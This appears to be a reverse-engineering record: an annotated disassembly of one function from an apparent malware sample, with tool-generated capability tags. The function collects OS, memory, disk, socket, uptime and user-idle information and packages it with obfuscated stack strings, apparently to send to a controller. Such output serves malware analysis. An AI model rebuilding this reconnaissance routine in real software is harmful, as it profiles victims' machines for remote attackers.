Function at 0x1001d2c0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x7e8
push ebx
push ebp
push esi
push edi
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0xc0]
rep stosd dword es:[edi], eax
mov byte [esp + 0x270], al
lea eax, [esp + 0xc4]
push eax
mov byte [esp + 0xc4], 0x66
mov dword [esp + 0xc8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xd0]
lea edx, [esp + 0xcc]
push ecx
lea eax, [esp + 0xcc]
push edx
push eax
call fcn.1001ca70
lea ecx, [esp + 0x604]
push 0x100
push ecx
call fcn.1001c8b0
xor edx, edx
add esp, 0x14
mov dword [esp + 0x2c], edx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], edx
push eax
mov dword [esp + 0x38], edx
lea ecx, [esp + 0x30]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0x804]
push ecx
mov dword [esp + 0x30], 0x10
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [0x101318d0]
test eax, eax
je 0x1001d385
lea ecx, [esp + 0x168]
push ecx
call fcn.1001cac0
add esp, 4
mov ecx, dword [0x101318d4]
lea edx, [esp + 0x30]
push 4
lea eax, [esp + 0x170]
push edx
push eax
call fcn.10013030
lea ecx, [esp + 0x5f8]
push 0x100
lea edx, [esp + 0x174]
push ecx
mov ecx, dword [0x101318d4]
push edx
call fcn.10013030
call fcn.1001c060
mov dword [esp + 0x160], eax
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0xb0]
lea edx, [esp + 0x5c]
push edx
mov dword [esp + 0x168], ecx
mov dword [esp + 0x60], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov ecx, 0x14
call fcn.10030e10
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
xor edi, edi
mov dword [esp + 0x27c], eax
xor ebx, ebx
mov al, bl
lea ecx, [esp + 0x1c]
add al, 0x42
push ecx
mov byte [esp + 0x20], al
mov byte [esp + 0x21], 0x3a
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0
call esi
cmp eax, 3
jne 0x1001d470
lea edx, [esp + 0x54]
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0x50]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov ecx, 0x14
call fcn.10030e10
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1001d423
mov dword [esp + 0x280], edi
call fcn.1001c330
mov byte [esp + 0x270], al
mov eax, dword [esp + 0x804]
mov dword [esp + 0x274], eax
call fcn.1001c400
lea ecx, [esp + 0x37c]
push 0x32
push ecx
push 0x1013186c
mov dword [esp + 0x284], eax
call fcn.1001c9f0
add esp, 0xc
call fcn.1001c350
mov dword [esp + 0x378], eax
call fcn.1001c4b0
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x2f6]
push eax
push edx
call ebp
call fcn.1001c5e0
push eax
lea eax, [esp + 0x322]
push eax
call ebp
call fcn.1001c740
lea ecx, [esp + 0x346]
push eax
push ecx
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0
call ebx
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x4cc]
shr edx, 0x18
push edx
lea edx, [esp + 0x14]
push edx
push eax
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov eax, 0x95217cb1
mov edi, edx
mul edi
shr edx, 0x15
push edx
lea edx, [esp + 0x20]
lea eax, [esp + 0x540]
push edx
push eax
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
push edx
lea edx, [esp + 0x2c]
lea eax, [esp + 0x5b0]
push edx
push eax
call esi
lea ecx, [esp + 0x5b8]
lea edx, [esp + 0x554]
push ecx
lea eax, [esp + 0x4f4]
push edx
push eax
push 0x101249f0
lea ecx, [esp + 0x2ea]
push ecx
call esi
mov edx, dword [esp + 0x840]
push edx
call fcn.1001c010
add esp, 0x3c
mov esi, eax
lea eax, [esp + 0x2d6]
push esi
push eax
call ebp
push esi
call dword [sym.imp.MSVCRT.dll_free]
lea ecx, [esp + 0x6fc]
push 0x100
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x66
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x75
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0
call fcn.1001c960
add esp, 0xc
lea edi, [esp + 0x14]
test eax, eax
je 0x1001d618
lea edi, [esp + 0x6f8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x284]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.1001d0f0
lea ecx, [esp + 0x3ae]
push eax
push ecx
call ebp
lea edx, [esp + 0x3c]
mov dword [esp + 0x4b0], 0
push edx
mov dword [esp + 0x40], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call ebx
sub eax, dword [esp + 0x40]
cmp eax, 0x2bf20
jbe 0x1001d682
mov dword [esp + 0x4b0], 1
call fcn.1001d010
push eax
lea eax, [esp + 0x4b8]
push eax
call ebp
lea ecx, [esp + 0xc0]
push 0x40c
push ecx
mov ecx, dword [esp + 0x808]
call fcn.10004dd0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7e8
ret